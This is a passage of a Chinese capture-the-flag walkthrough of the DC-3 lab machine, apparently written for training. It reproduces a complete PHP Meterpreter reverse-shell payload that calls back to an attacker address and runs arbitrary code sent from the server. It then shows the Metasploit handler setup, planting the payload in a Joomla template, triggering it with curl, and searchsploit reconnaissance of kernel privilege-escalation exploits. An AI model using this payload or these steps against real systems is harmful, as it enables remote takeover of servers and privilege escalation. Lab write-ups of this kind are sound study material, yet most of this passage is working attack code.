     $ret = ERROR_SUCCESS; } } } else {
    
     my_print("Trying to interact with an invalid channel"); $ret = ERROR_FAILURE; } return $ret; } } function interacting($cid) {
    
     global $readers; $c = get_channel_by_id($cid); if (in_array($c[1], $readers)) {
    
     return true; } return false; } if (!function_exists('core_shutdown')) {
    
     register_command('core_shutdown', COMMAND_ID_CORE_SHUTDOWN); function core_shutdown($req, &$pkt) {
    
     my_print("doing core shutdown"); die(); } } if (!function_exists('core_loadlib')) {
    
     register_command('core_loadlib', COMMAND_ID_CORE_LOADLIB); function core_loadlib($req, &$pkt) {
    
     global $id2f; my_print("doing core_loadlib"); $data_tlv = packet_get_tlv($req, TLV_TYPE_DATA); if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
    
     return ERROR_FAILURE; } $tmp = $id2f; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
    
     $suhosin_bypass=create_function('', $data_tlv['value']); $suhosin_bypass(); } else {
    
     eval($data_tlv['value']); } $new = array_diff($id2f, $tmp); foreach ($new as $id => $func) {
    
     packet_add_tlv($pkt, create_tlv(TLV_TYPE_UINT, $id)); } return ERROR_SUCCESS; } } if (!function_exists('core_enumextcmd')) {
    
     register_command('core_enumextcmd', COMMAND_ID_CORE_ENUMEXTCMD); function core_enumextcmd($req, &$pkt) {
    
     my_print("doing core_enumextcmd"); global $id2f; $id_start_array = packet_get_tlv($req, TLV_TYPE_UINT); $id_start = $id_start_array['value']; $id_end_array = packet_get_tlv($req, TLV_TYPE_LENGTH); $id_end = $id_end_array['value'] + $id_start; foreach ($id2f as $id => $ext_cmd) {
    
     my_print("core_enumextcmd - checking " . $ext_cmd . " as " . $id); list($ext_name, $cmd) = explode("_", $ext_cmd, 2); if ($id_start < $id && $id < $id_end) {
    
     my_print("core_enumextcmd - adding " . $ext_cmd . " as " . $id); packet_add_tlv($pkt, create_tlv(TLV_TYPE_UINT, $id)); } } return ERROR_SUCCESS; } } if (!function_exists('core_set_uuid')) {
    
     register_command('core_set_uuid', COMMAND_ID_CORE_SET_UUID); function core_set_uuid($req, &$pkt) {
    
     my_print("doing core_set_uuid"); $new_uuid = packet_get_tlv($req, TLV_TYPE_UUID); if ($new_uuid != null) {
    
     $GLOBALS['UUID'] = $new_uuid['value']; my_print("New UUID is {
    
    $GLOBALS['UUID']}"); } return ERROR_SUCCESS; } } function get_hdd_label() {
    
     foreach (scandir('/dev/disk/by-id/') as $file) {
    
     foreach (array("ata-", "mb-") as $prefix) {
    
     if (strpos($file, $prefix) === 0) {
    
     return substr($file, strlen($prefix)); } } } return ""; } function der_to_pem($der_data) {
    
     $pem = chunk_split(base64_encode($der_data), 64, "\n"); $pem = "-----BEGIN PUBLIC KEY-----\n".$pem."-----END PUBLIC KEY-----\n"; return $pem; } if (!function_exists('core_negotiate_tlv_encryption')) {
    
     register_command('core_negotiate_tlv_encryption', COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION); function core_negotiate_tlv_encryption($req, &$pkt) {
    
     if (supports_aes()) {
    
     my_print("AES functionality is supported"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_SYM_KEY_TYPE, ENC_AES256)); $GLOBALS['AES_ENABLED'] = false; $GLOBALS['AES_KEY'] = rand_bytes(32); if (function_exists('openssl_pkey_get_public') && function_exists('openssl_public_encrypt')) {
    
     my_print("Encryption via public key is supported"); $pub_key_tlv = packet_get_tlv($req, TLV_TYPE_RSA_PUB_KEY); if ($pub_key_tlv != null) {
    
     $key = openssl_pkey_get_public(der_to_pem($pub_key_tlv['value'])); $enc = ''; openssl_public_encrypt($GLOBALS['AES_KEY'], $enc, $key, OPENSSL_PKCS1_PADDING); packet_add_tlv($pkt, create_tlv(TLV_TYPE_ENC_SYM_KEY, $enc)); return ERROR_SUCCESS; } } packet_add_tlv($pkt, create_tlv(TLV_TYPE_SYM_KEY, $GLOBALS['AES_KEY'])); } return ERROR_SUCCESS; } } if (!function_exists('core_get_session_guid')) {
    
     register_command('core_get_session_guid', COMMAND_ID_CORE_GET_SESSION_GUID); function core_get_session_guid($req, &$pkt) {
    
     packet_add_tlv($pkt, create_tlv(TLV_TYPE_SESSION_GUID, $GLOBALS['SESSION_GUID'])); return ERROR_SUCCESS; } } if (!function_exists('core_set_session_guid')) {
    
     register_command('core_set_session_guid', COMMAND_ID_CORE_SET_SESSION_GUID); function core_set_session_guid($req, &$pkt) {
    
     my_print("doing core_set_session_guid"); $new_guid = packet_get_tlv($req, TLV_TYPE_SESSION_GUID); if ($new_guid != null) {
    
     $GLOBALS['SESSION_ID'] = $new_guid['value']; my_print("New Session GUID is {
    
    $GLOBALS['SESSION_GUID']}"); } return ERROR_SUCCESS; } } if (!function_exists('core_machine_id')) {
    
     register_command('core_machine_id', COMMAND_ID_CORE_MACHINE_ID); function core_machine_id($req, &$pkt) {
    
     my_print("doing core_machine_id"); if (is_callable('gethostname')) {
    
     $machine_id = gethostname(); } else {
    
     $machine_id = php_uname('n'); } $serial = ""; if (is_windows()) {
    
     $output = strtolower(shell_exec("vol %SYSTEMDRIVE%")); $serial = preg_replace('/.*serial number is ([a-z0-9]{4}-[a-z0-9]{4}).*/s', '$1', $output); } else {
    
     $serial = get_hdd_label(); } packet_add_tlv($pkt, create_tlv(TLV_TYPE_MACHINE_ID, $serial.":".$machine_id)); return ERROR_SUCCESS; } } $channels = array(); function register_channel($in, $out=null, $err=null) {
    
     global $channels; if ($out == null) {
    
     $out = $in; } if ($err == null) {
    
     $err = $out; } $channels[] = array(0 => $in, 1 => $out, 2 => $err, 'type' => get_rtype($in), 'data' => ''); $id = end(array_keys($channels)); my_print("Created new channel $in, with id $id"); return $id; } function get_channel_id_from_resource($resource) {
    
     global $channels; if (empty($channels)) {
    
     return false; } foreach ($channels as $i => $chan_ary) {
    
     if (in_array($resource, $chan_ary)) {
    
     my_print("Found channel id $i"); return $i; } } return false; } function &get_channel_by_id($chan_id) {
    
     global $channels; my_print("Looking up channel id $chan_id"); if (array_key_exists($chan_id, $channels)) {
    
     my_print("Found one"); return $channels[$chan_id]; } else {
    
     return false; } } function channel_write($chan_id, $data) {
    
     $c = get_channel_by_id($chan_id); if ($c && is_resource($c[0])) {
    
     my_print("---Writing '$data' to channel $chan_id"); return write($c[0], $data); } else {
    
     return false; } } function channel_read($chan_id, $len) {
    
     $c = &get_channel_by_id($chan_id); if ($c) {
    
     $ret = substr($c['data'], 0, $len); $c['data'] = substr($c['data'], $len); if (strlen($ret) > 0) {
    
     my_print("Had some leftovers: '$ret'"); } if (strlen($ret) < $len and is_resource($c[2]) and $c[1] != $c[2]) {
    
     $read = read($c[2]); $c['data'] .= $read; $bytes_needed = $len - strlen($ret); $ret .= substr($c['data'], 0, $bytes_needed); $c['data'] = substr($c['data'], $bytes_needed); } if (strlen($ret) < $len and is_resource($c[1])) {
    
     $read = read($c[1]); $c['data'] .= $read; $bytes_needed = $len - strlen($ret); $ret .= substr($c['data'], 0, $bytes_needed); $c['data'] = substr($c['data'], $bytes_needed); } if (false === $read and empty($ret)) {
    
     if (interacting($chan_id)) {
    
     handle_dead_resource_channel($c[1]); } return false; } return $ret; } else {
    
     return false; } } function rand_xor_byte() {
    
     return chr(mt_rand(1, 255)); } function rand_bytes($size) {
    
     $b = ''; for ($i = 0; $i < $size; $i++) {
    
     $b .= rand_xor_byte(); } return $b; } function rand_xor_key() {
    
     return rand_bytes(4); } function xor_bytes($key, $data) {
    
     $result = ''; for ($i = 0; $i < strlen($data); ++$i) {
    
     $result .= $data{
    
    $i} ^ $key{
    
    $i % 4}; } return $result; } function generate_req_id() {
    
     $characters = 'abcdefghijklmnopqrstuvwxyz'; $rid = ''; for ($p = 0; $p < 32; $p++) {
    
     $rid .= $characters[rand(0, strlen($characters)-1)]; } return $rid; } function supports_aes() {
    
     return function_exists('openssl_decrypt') && function_exists('openssl_encrypt'); } function decrypt_packet($raw) {
    
     $len_array = unpack("Nlen", substr($raw, 20, 4)); $encrypt_flags = $len_array['len']; if ($encrypt_flags == ENC_AES256 && supports_aes() && $GLOBALS['AES_KEY'] != null) {
    
     $tlv = substr($raw, 24); $dec = openssl_decrypt(substr($tlv, 24), AES_256_CBC, $GLOBALS['AES_KEY'], OPENSSL_RAW_DATA, substr($tlv, 8, 16)); return pack("N", strlen($dec) + 8) . substr($tlv, 4, 4) . $dec; } return substr($raw, 24); } function encrypt_packet($raw) {
    
     if (supports_aes() && $GLOBALS['AES_KEY'] != null) {
    
     if ($GLOBALS['AES_ENABLED'] === true) {
    
     $iv = rand_bytes(16); $enc = $iv . openssl_encrypt(substr($raw, 8), AES_256_CBC, $GLOBALS['AES_KEY'], OPENSSL_RAW_DATA, $iv); $hdr = pack("N", strlen($enc) + 8) . substr($raw, 4, 4); return $GLOBALS['SESSION_GUID'] . pack("N", ENC_AES256) . $hdr . $enc; } $GLOBALS['AES_ENABLED'] = true; } return $GLOBALS['SESSION_GUID'] . pack("N", ENC_NONE) . $raw; } function write_tlv_to_socket($resource, $raw) {
    
     $xor = rand_xor_key(); write($resource, $xor . xor_bytes($xor, encrypt_packet($raw))); } function handle_dead_resource_channel($resource) {
    
     global $msgsock; if (!is_resource($resource)) {
    
     return; } $cid = get_channel_id_from_resource($resource); if ($cid === false) {
    
     my_print("Resource has no channel: {
    
    $resource}"); remove_reader($resource); close($resource); } else {
    
     my_print("Handling dead resource: {
    
    $resource}, for channel: {
    
    $cid}"); channel_close_handles($cid); $pkt = pack("N", PACKET_TYPE_REQUEST); packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_CLOSE)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); $pkt = pack("N", strlen($pkt) + 4) . $pkt; write_tlv_to_socket($msgsock, $pkt); } } function handle_resource_read_channel($resource, $data) {
    
     global $udp_host_map; $cid = get_channel_id_from_resource($resource); my_print("Handling data from $resource"); $pkt = pack("N", PACKET_TYPE_REQUEST); packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_WRITE)); if (array_key_exists((int)$resource, $udp_host_map)) {
    
     list($h,$p) = $udp_host_map[(int)$resource]; packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $p)); } packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data))); packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); $pkt = pack("N", strlen($pkt) + 4) . $pkt; return $pkt; } function create_response($req) {
    
     global $id2f; $pkt = pack("N", PACKET_TYPE_RESPONSE); $command_id_tlv = packet_get_tlv($req, TLV_TYPE_COMMAND_ID); my_print("command id is {
    
    $command_id_tlv['value']}"); packet_add_tlv($pkt, $command_id_tlv); $reqid_tlv = packet_get_tlv($req, TLV_TYPE_REQUEST_ID); packet_add_tlv($pkt, $reqid_tlv); $command_handler = $id2f[$command_id_tlv['value']]; if (is_callable($command_handler)) {
    
     $result = $command_handler($req, $pkt); } else {
    
     my_print("Got a request for something I don't know how to handle (" . $command_id_tlv['value'] . " / ". $command_handler ."), returning failure"); $result = ERROR_FAILURE; } packet_add_tlv($pkt, create_tlv(TLV_TYPE_RESULT, $result)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); $pkt = pack("N", strlen($pkt) + 4) . $pkt; return $pkt; } function create_tlv($type, $val) {
    
     return array( 'type' => $type, 'value' => $val ); } function tlv_pack($tlv) {
    
     $ret = ""; if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
    
     $ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0"); } elseif (($tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
    
     $hi = ($tlv['value'] >> 32) & 0xFFFFFFFF; $lo = $tlv['value'] & 0xFFFFFFFF; $ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo); } elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
    
     $ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']); } elseif (($tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
    
     $ret = pack("NN", 8 + 1, $tlv['type']); $ret .= $tlv['value'] ? "\x01" : "\x00"; } elseif (($tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
    
     $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; } elseif (($tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) {
    
     $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; } elseif (($tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) {
    
     $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; } else {
    
     my_print("Don't know how to make a tlv of type ". $tlv['type'] . " (meta type ". sprintf("%08x", $tlv['type'] & TLV_META_TYPE_MASK) ."), wtf"); } return $ret; } function tlv_unpack($raw_tlv) {
    
     $tlv = unpack("Nlen/Ntype", substr($raw_tlv, 0, 8)); $type = $tlv['type']; my_print("len: {
    
    $tlv['len']}, type: {
    
    $tlv['type']}"); if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
    
     $tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len'])); $tlv['value'] = str_replace("\0", "", $tlv['value']); } elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
    
     $tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len'])); } elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
    
     $tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len'])); $tlv['value'] = $tlv['hi'] << 32 | $tlv['lo']; } elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
    
     $tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len'])); } elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
    
     $tlv = unpack("Nlen/Ntype", $raw_tlv); $tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8); } else {
    
     my_print("Wtf type is this? $type"); $tlv = null; } return $tlv; } function packet_add_tlv(&$pkt, $tlv) {
    
     $pkt .= tlv_pack($tlv); } function packet_get_tlv($pkt, $type) {
    
     $offset = 8; while ($offset < strlen($pkt)) {
    
     $tlv = tlv_unpack(substr($pkt, $offset)); if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
    
     return $tlv; } $offset += $tlv['len']; } return null; } function packet_get_all_tlvs($pkt, $type) {
    
     my_print("Looking for all tlvs of type $type"); $offset = 8; $all = array(); while ($offset < strlen($pkt)) {
    
     $tlv = tlv_unpack(substr($pkt, $offset)); if ($tlv == NULL) {
    
     break; } my_print("len: {
    
    $tlv['len']}, type: {
    
    $tlv['type']}"); if (empty($type) || $type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
    
     my_print("Found one at offset $offset"); array_push($all, $tlv); } $offset += $tlv['len']; } return $all; } function register_socket($sock, $ipaddr=null, $port=null) {
    
     global $resource_type_map, $udp_host_map; my_print("Registering socket $sock for ($ipaddr:$port)"); $resource_type_map[(int)$sock] = 'socket'; if ($ipaddr) {
    
     $udp_host_map[(int)$sock] = array($ipaddr, $port); } } function register_stream($stream, $ipaddr=null, $port=null) {
    
     global $resource_type_map, $udp_host_map; my_print("Registering stream $stream for ($ipaddr:$port)"); $resource_type_map[(int)$stream] = 'stream'; if ($ipaddr) {
    
     $udp_host_map[(int)$stream] = array($ipaddr, $port); } } function connect($ipaddr, $port, $proto='tcp') {
    
     my_print("Doing connect($ipaddr, $port)"); $sock = false; $ipf = AF_INET; $raw_ip = $ipaddr; if (FALSE !== strpos($ipaddr, ":")) {
    
     $ipf = AF_INET6; $ipaddr = "[". $raw_ip ."]"; } if (is_callable('stream_socket_client')) {
    
     my_print("stream_socket_client({
    
    $proto}://{
    
    $ipaddr}:{
    
    $port})"); if ($proto == 'ssl') {
    
     $sock = stream_socket_client("ssl://{
    
    $ipaddr}:{
    
    $port}", $errno, $errstr, 5, STREAM_CLIENT_ASYNC_CONNECT); if (!$sock) {
    
     return false; } stream_set_blocking($sock, 0); register_stream($sock); } elseif ($proto == 'tcp') {
    
     $sock = stream_socket_client("tcp://{
    
    $ipaddr}:{
    
    $port}"); if (!$sock) {
    
     return false; } register_stream($sock); } elseif ($proto == 'udp') {
    
     $sock = stream_socket_client("udp://{
    
    $ipaddr}:{
    
    $port}"); if (!$sock) {
    
     return false; } register_stream($sock, $ipaddr, $port); } } else if (is_callable('fsockopen')) {
    
     my_print("fsockopen"); if ($proto == 'ssl') {
    
     $sock = fsockopen("ssl://{
    
    $ipaddr}:{
    
    $port}"); stream_set_blocking($sock, 0); register_stream($sock); } elseif ($proto == 'tcp') {
    
     $sock = fsockopen($ipaddr, $port); if (!$sock) {
    
     return false; } if (is_callable('socket_set_timeout')) {
    
     socket_set_timeout($sock, 2); } register_stream($sock); } else {
    
     $sock = fsockopen($proto."://".$ipaddr,$port); if (!$sock) {
    
     return false; } register_stream($sock, $ipaddr, $port); } } else if (is_callable('socket_create')) {
    
     my_print("socket_create"); if ($proto == 'tcp') {
    
     $sock = socket_create($ipf, SOCK_STREAM, SOL_TCP); $res = socket_connect($sock, $raw_ip, $port); if (!$res) {
    
     return false; } register_socket($sock); } elseif ($proto == 'udp') {
    
     $sock = socket_create($ipf, SOCK_DGRAM, SOL_UDP); register_socket($sock, $raw_ip, $port); } } return $sock; } function eof($resource) {
    
     $ret = false; switch (get_rtype($resource)) {
    
     case 'socket': break; case 'stream': $ret = feof($resource); break; } return $ret; } function close($resource) {
    
     my_print("Closing resource $resource"); global $resource_type_map, $udp_host_map; remove_reader($resource); switch (get_rtype($resource)) {
    
     case 'socket': $ret = socket_close($resource); break; case 'stream': $ret = fclose($resource); break; } if (array_key_exists((int)$resource, $resource_type_map)) {
    
     unset($resource_type_map[(int)$resource]); } if (array_key_exists((int)$resource, $udp_host_map)) {
    
     my_print("Removing $resource from udp_host_map"); unset($udp_host_map[(int)$resource]); } return $ret; } function read($resource, $len=null) {
    
     global $udp_host_map; if (is_null($len)) {
    
     $len = 8192; } $buff = ''; switch (get_rtype($resource)) {
    
     case 'socket': if (array_key_exists((int)$resource, $udp_host_map)) {
    
     my_print("Reading UDP socket"); list($host,$port) = $udp_host_map[(int)$resource]; socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port); } else {
    
     my_print("Reading TCP socket"); $buff .= socket_read($resource, $len, PHP_BINARY_READ); } break; case 'stream': global $msgsock; $r = Array($resource); my_print("Calling select to see if there's data on $resource"); $last_requested_len = 0; while (true) {
    
     $w=NULL;$e=NULL;$t=0; $cnt = stream_select($r, $w, $e, $t); if ($cnt === 0) {
    
     break; } if ($cnt === false or feof($resource)) {
    
     my_print("Checking for failed read..."); if (empty($buff)) {
    
     my_print("---- EOF ON $resource ----"); $buff = false; } break; } $md = stream_get_meta_data($resource); dump_array($md, "Metadata for {
    
    $resource}"); if ($md['unread_bytes'] > 0) {
    
     $last_requested_len = min($len, $md['unread_bytes']); $buff .= fread($resource, $last_requested_len); break; } else {
    
     $tmp = fread($resource, $len); $last_requested_len = $len; $buff .= $tmp; if (strlen($tmp) < $len) {
    
     break; } } if ($resource != $msgsock) {
    
     my_print("buff: '$buff'"); } $r = Array($resource); } my_print(sprintf("Done with the big read loop on $resource, got %d bytes, asked for %d bytes", strlen($buff), $last_requested_len)); break; default: $cid = get_channel_id_from_resource($resource); $c = get_channel_by_id($cid); if ($c and $c['data']) {
    
     $buff = substr($c['data'], 0, $len); $c['data'] = substr($c['data'], $len); my_print("Aha! got some leftovers"); } else {
    
     my_print("Wtf don't know how to read from resource $resource, c: $c"); if (is_array($c)) {
    
     dump_array($c); } break; } } my_print(sprintf("Read %d bytes", strlen($buff))); return $buff; } function write($resource, $buff, $len=0) {
    
     global $udp_host_map; if ($len == 0) {
    
     $len = strlen($buff); } $count = false; switch (get_rtype($resource)) {
    
     case 'socket': if (array_key_exists((int)$resource, $udp_host_map)) {
    
     my_print("Writing UDP socket"); list($host,$port) = $udp_host_map[(int)$resource]; $count = socket_sendto($resource, $buff, $len, $host, $port); } else {
    
     $count = socket_write($resource, $buff, $len); } break; case 'stream': $count = fwrite($resource, $buff, $len); fflush($resource); break; default: my_print("Wtf don't know how to write to resource $resource"); break; } return $count; } function get_rtype($resource) {
    
     global $resource_type_map; if (array_key_exists((int)$resource, $resource_type_map)) {
    
     return $resource_type_map[(int)$resource]; } return false; } function select(&$r, &$w, &$e, $tv_sec=0, $tv_usec=0) {
    
     $streams_r = array(); $streams_w = array(); $streams_e = array(); $sockets_r = array(); $sockets_w = array(); $sockets_e = array(); if ($r) {
    
     foreach ($r as $resource) {
    
     switch (get_rtype($resource)) {
    
     case 'socket': $sockets_r[] = $resource; break; case 'stream': $streams_r[] = $resource; break; default: my_print("Unknown resource type"); break; } } } if ($w) {
    
     foreach ($w as $resource) {
    
     switch (get_rtype($resource)) {
    
     case 'socket': $sockets_w[] = $resource; break; case 'stream': $streams_w[] = $resource; break; default: my_print("Unknown resource type"); break; } } } if ($e) {
    
     foreach ($e as $resource) {
    
     switch (get_rtype($resource)) {
    
     case 'socket': $sockets_e[] = $resource; break; case 'stream': $streams_e[] = $resource; break; default: my_print("Unknown resource type"); break; } } } $n_sockets = count($sockets_r) + count($sockets_w) + count($sockets_e); $n_streams = count($streams_r) + count($streams_w) + count($streams_e); $r = array(); $w = array(); $e = array(); if (count($sockets_r)==0) {
    
     $sockets_r = null; } if (count($sockets_w)==0) {
    
     $sockets_w = null; } if (count($sockets_e)==0) {
    
     $sockets_e = null; } if (count($streams_r)==0) {
    
     $streams_r = null; } if (count($streams_w)==0) {
    
     $streams_w = null; } if (count($streams_e)==0) {
    
     $streams_e = null; } $count = 0; if ($n_sockets > 0) {
    
     $res = socket_select($sockets_r, $sockets_w, $sockets_e, $tv_sec, $tv_usec); if (false === $res) {
    
     return false; } if (is_array($r) && is_array($sockets_r)) {
    
     $r = array_merge($r, $sockets_r); } if (is_array($w) && is_array($sockets_w)) {
    
     $w = array_merge($w, $sockets_w); } if (is_array($e) && is_array($sockets_e)) {
    
     $e = array_merge($e, $sockets_e); } $count += $res; } if ($n_streams > 0) {
    
     $res = stream_select($streams_r, $streams_w, $streams_e, $tv_sec, $tv_usec); if (false === $res) {
    
     return false; } if (is_array($r) && is_array($streams_r)) {
    
     $r = array_merge($r, $streams_r); } if (is_array($w) && is_array($streams_w)) {
    
     $w = array_merge($w, $streams_w); } if (is_array($e) && is_array($streams_e)) {
    
     $e = array_merge($e, $streams_e); } $count += $res; } return $count; } function add_reader($resource) {
    
     global $readers; if (is_resource($resource) && !in_array($resource, $readers)) {
    
     $readers[] = $resource; } } function remove_reader($resource) {
    
     global $readers; if (in_array($resource, $readers)) {
    
     foreach ($readers as $key => $r) {
    
     if ($r == $resource) {
    
     unset($readers[$key]); } } } } ob_implicit_flush(); error_reporting(0); @ignore_user_abort(true); @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); $GLOBALS['UUID'] = PAYLOAD_UUID; $GLOBALS['SESSION_GUID'] = SESSION_GUID; $GLOBALS['AES_KEY'] = null; $GLOBALS['AES_ENABLED'] = false; if (!isset($GLOBALS['msgsock'])) {
    
     $ipaddr = '192.168.57.200'; $port = 1234; my_print("Don't have a msgsock, trying to connect($ipaddr, $port)"); $msgsock = connect($ipaddr, $port); if (!$msgsock) {
    
     die(); } } else {
    
     $msgsock = $GLOBALS['msgsock']; $msgsock_type = $GLOBALS['msgsock_type']; switch ($msgsock_type) {
    
     case 'socket': register_socket($msgsock); break; case 'stream': default: register_stream($msgsock); } } add_reader($msgsock); $r=$GLOBALS['readers']; $w=NULL;$e=NULL;$t=1; while (false !== ($cnt = select($r, $w, $e, $t))) {
    
     $read_failed = false; for ($i = 0; $i < $cnt; $i++) {
    
     $ready = $r[$i]; if ($ready == $msgsock) {
    
     $packet = read($msgsock, 32); my_print(sprintf("Read returned %s bytes", strlen($packet))); if (false==$packet) {
    
     my_print("Read failed on main socket, bailing"); break 2; } $xor = substr($packet, 0, 4); $header = xor_bytes($xor, substr($packet, 4, 28)); $len_array = unpack("Nlen", substr($header, 20, 4)); $len = $len_array['len'] + 32 - 8; while (strlen($packet) < $len) {
    
     $packet .= read($msgsock, $len-strlen($packet)); } $response = create_response(decrypt_packet(xor_bytes($xor, $packet))); write_tlv_to_socket($msgsock, $response); } else {
    
     $data = read($ready); if (false === $data) {
    
     handle_dead_resource_channel($ready); } elseif (strlen($data) > 0){
    
     my_print(sprintf("Read returned %s bytes", strlen($data))); $request = handle_resource_read_channel($ready, $data); if ($request) {
    
     write_tlv_to_socket($msgsock, $request); } } } } $r = $GLOBALS['readers']; } my_print("Finished"); my_print("--------------------"); close($msgsock);

# 启动监听
kali@kali:~$ msfconsole 
                                                  
               .;lxO0KXXXK0Oxl:.
           ,o0WMMMMMMMMMMMMMMMMMMKd,                                        
        'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,                                     
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:                                   
    .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,                                 
   lWMMMMMMMMMMMXd:..     ..;dKMMMMMMMMMMMMo                                
  xMMMMMMMMMMWd.               .oNMMMMMMMMMMk                               
 oMMMMMMMMMMx.                    dMMMMMMMMMMx                              
.WMMMMMMMMM:                       :MMMMMMMMMM,                             
xMMMMMMMMMo                         lMMMMMMMMMO                             
NMMMMMMMMW                    ,cccccoMMMMMMMMMWlccccc;                      
MMMMMMMMMX                     ;KMMMMMMMMMMMMMMMMMMX:                       
NMMMMMMMMW.                      ;KMMMMMMMMMMMMMMX:                         
xMMMMMMMMMd                        ,0MMMMMMMMMMK;                           
.WMMMMMMMMMc                         'OMMMMMM0,                             
 lMMMMMMMMMMk.                         .kMMO'                               
  dMMMMMMMMMMWd'                         ..                                 
   cWMMMMMMMMMMMNxc'.                ##########                             
    .0MMMMMMMMMMMMMMMMWc            #+#    #+#
      ;0MMMMMMMMMMMMMMMo.          +:+
        .dNMMMMMMMMMMMMo          +#++:++#+
           'oOWMMMMMMMMo                +:+
               .,cdkO0K;        :+:    :+:                                
                                :::::::+:
                      Metasploit

       =[ metasploit v6.0.16-dev                          ]
+ -- --=[ 2074 exploits - 1124 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Display the Framework log using the log command, learn more with help log

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp 
payload => php/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.57.200
lhost => 192.168.57.200
msf6 exploit(multi/handler) > set lport 1234
lport => 1234
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.57.200:1234 

进入模板编辑界面,粘贴payload

编辑模板

新建文件1

创建文件2

# 触发反弹shell
$ curl -I http://dc-3/templates/beez3/shell1.php
[*] Meterpreter session 1 opened (192.168.57.200:1234 -> 192.168.57.149:46612) at 2020-12-30 14:03:45 +0800

meterpreter > sysinfo
Computer    : DC-3
OS          : Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686
Meterpreter : php/linux

3、提权

3.1、提权信息收集

$ searchsploit kernel 4.4. ubuntu 16.04
------------------------------------------ ---------------------------------
 Exploit Title                            |  Path
------------------------------------------ ---------------------------------
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x8 | linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64)  | linux_x86-64/local/40049.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu  | windows_x86-64/local/47170.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'doub | linux/local/39772.txt
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64 | linux_x86-64/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubu | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14. | linux/local/47169.c
------------------------------------------ ---------------------------------
Shellcodes: No Results

以上中仅39772对应的利用脚本有效

3.2、 提权

# 查看漏洞利用信息
$ more /usr/share/exploitdb/exploits/linux/local/39772.txt 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808

In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtim
e,
unprivileged code can use the bpf() syscall to load eBPF socket filter progr
ams.
